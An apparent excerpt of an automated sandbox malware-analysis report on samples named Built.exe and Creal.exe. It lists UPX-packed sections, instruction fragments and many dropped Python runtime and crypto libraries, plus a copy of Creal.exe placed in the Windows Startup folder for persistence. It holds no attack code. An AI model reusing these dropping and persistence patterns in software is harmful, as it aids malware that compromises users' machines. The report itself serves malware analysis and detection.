Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD92435E18 push rsp; ret	4_2_00007FFD92435E1C
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFD935B4331 push rcx; ret	4_2_00007FFD935B4332
Source: C:\Users\user\Desktop\Built.exe	Code function: 4_2_00007FFDA33ED9D8 push rsp; iretd	4_2_00007FFDA33ED9D9
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0B267D push rbx; retf	5_2_00007FFD8A0B2685
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8A0B27AE push rsp; iretd	5_2_00007FFD8A0B27B9
Source: C:\Users\user\Desktop\Creal.exe	Code function: 5_2_00007FFD8AF44331 push rcx; ret	5_2_00007FFD8AF44332

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_cffi_backend.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_blowfish.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Util\_strxor.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\python313.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_chacha20.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_des3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_ARC4.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_eksblowfish.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	File created: C:\Users\user\Desktop\Built.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_pkcs1_decode.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ocb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ofb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_curve448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cfb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_aes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_aesni.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_des.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\libcrypto-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_curve25519.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_cast.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_arc2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_Salsa20.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Util\_cpuid_c.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ecb.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_cffi_backend.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	File created: C:\Users\user\Desktop\Creal.exe	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Cipher\_raw_ctr.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Built.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI27602\libssl-3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Cipher\_raw_cbc.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA224.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\VCRUNTIME140_1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI42362\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Creal.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI56762\_bz2.pyd	Jump to dropped file
